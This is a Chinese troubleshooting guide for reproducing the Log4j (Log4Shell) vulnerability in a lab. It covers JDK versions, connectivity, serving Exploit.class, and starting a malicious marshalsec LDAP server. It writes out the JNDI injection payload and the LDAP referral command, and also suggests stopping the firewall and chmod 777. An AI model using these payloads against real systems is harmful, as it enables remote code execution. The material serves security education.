【汇总】log4j漏洞复现不成功-原因和排查思路

vulhub-log4j漏洞复现流程
https://wiki.bafangwy.com/doc/682/

工程名：
apache-log4j-poc

本文涉及的工具：
marshalsec-0.0.3-SNAPSHOT-all.jar

# 总结
从复现流程来说，确定三个点（按这个顺序排查）：

1、HTTP服务器是否启动，恶意class是否能下载（在浏览器进行验证，把#改成.class）
验证方式：
1）物理机ping虚拟机IP
2）虚拟机netstat 查看HTTP端口
3）物理机浏览器访问虚拟机IP+端口/Exploit.class

2、LDAP服务是否正常启动，是否指向正确的HTTP服务器，两台机器之间网络是否连通
验证方式：
1）Windows 新开一个CMD，`netstat -an|findstr 7365`

3、漏洞代码是否正确访问到LDAP服务器（代码中是本机的7912端口）
验证方式：查看LDAP端口没有收到下载远程class文件的请求

如果以上任何一步没有成功，就需要单独排查解决。

------------
------------

以下总结了一些复现不成功的原因：
# 1、JDK版本不符合要求
比如环境变量的JAVA_HOME 还是JDK11，path里面 %java_home%写死了。
或者虽然设置了path，但是IDEA使用却是其他版本的JDK。
比如这个同学，在工程里面运行代码实际是jdk-18.0.2.1：

![](/media/202311/2023-11-04_192709_9739520.7706881242855652.png)

## 确认方式
在IDEA的terminal里面输入``java -version``确认版本。
解决办法：
修改环境变量中JDK的版本，或者修改project structure中的JDK版本。
建议使用跟课程中一样的JDK版本（jdk1.8.0_74）

## 2、机器之间网络不连通
例如：HTTP服务器没有启动、LDAP服务没启动、HTTP服务器连不上
排查方法：
1）确定端口启动情况
Linux：``netstat -an|grep 80``
windows ``netstat -an|findstr 7912``
2）确定连通情况（在物理机ping虚拟机IP）
3）测试文件下载(浏览器访问Exploit.class文件地址)

**【防火墙规则】**
如果LDAP 7912或者7365服务部署在云服务器，还需要检查[安全组配置](/doc/722/ "安全组配置")情况。
如果LDAP 7912或者7365服务部署在Linux，还需要检查[防火墙](/doc/183/ "防火墙")的情况。

查看防火墙状态：
`firewall-cmd --state`

在防火墙开启的情况下，通过以下命令在防火墙中允许7365端口流量：
```
firewall-cmd --add-port=8888/tcp --permanent
firewall-cmd --reload
```

查看防火墙规则：
`firewall-cmd --list-all`

如果防火墙是关闭的，则移除规则：
`firewall-cmd --remove-port=8888/tcp`
停止防火墙
`systemctl stop firewalld.service`

第二种方法是在没有添加防火墙规则的情况下，关闭防火墙，参考：
https://wiki.bafangwy.com/doc/72/

## 3、恶意代码内容不对或者编译版本不对
例如：改了Exploit的代码位置或者内容，没有覆盖上传
排查方法：用jd-gui.exe工具对下载的Exploit.class的内容进行反编译，确认。
解决办法：删除原Exploit.class文件，重新上传

如果是编译版本不对：
把Exploit.java放到`jdk1.8.0_74\bin`目录下，打开cmd，用`javac Exploit.java`进行编译。

## 4、HTTP服务器的问题
Apache、python都可以试试。windows不行的话，放到Linux上。
`python --version`确认版本。

Linux python2启动HTTP服务（在Exploit.class所在目录启动）：
`python2-m SimpleHTTPServer 8888`

Linux python3启动HTTP服务（在Exploit.class所在目录启动）：
`python -m http.server 8888`

## 5、本地LADP服务的问题
Spring boot的案例， Java LADP不行，就用marshalsec启动LDAP服务
解决办法：使用 marshalsec-0.0.3-SNAPSHOT-all.jar 提供恶意LDAP服务
```
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.LDAPRefServer http://192.168.142.66:80/#Exploit 7365
```
`http://192.168.142.66:80/#Exploit` 改成你的HTTP服务器的IP端口，后面填写你的恶意类的类名，注意文件名没有.class
`7365`是你开启ldap服务的端口号，如果不加端口号，它的默认端口号为`1099`。

访问（改成启动服务的IP）：
`${jndi:ldap://x.x.x.x:7365/test}`

# 6、log4j的版本不对（这种情况很少）
例如：log4j的版本临时改成了2.15，忘记改回去
解决办法：确定pom.xml的log4j版本，降低到2.14.1及以下，在pom.xml上reload

![](/media/202308/2023-08-08_141735_4222030.16152192800615361.png)

## 7、（Linux）Exploit.class没有权限访问（这种情况很少）
解决办法：
`chmod 777 Exploit.class`

## 8、只有logger.error()会触发漏洞而logger.debug()/logger.info()都不能触发漏洞
参考：
https://wiki.bafangwy.com/doc/249/

------------

根据以上排查思路复现成功：
![](/media/202308/2023-08-09_094242_0115110.4079847900345628.png)

关键字：CVE、log4j2、Apache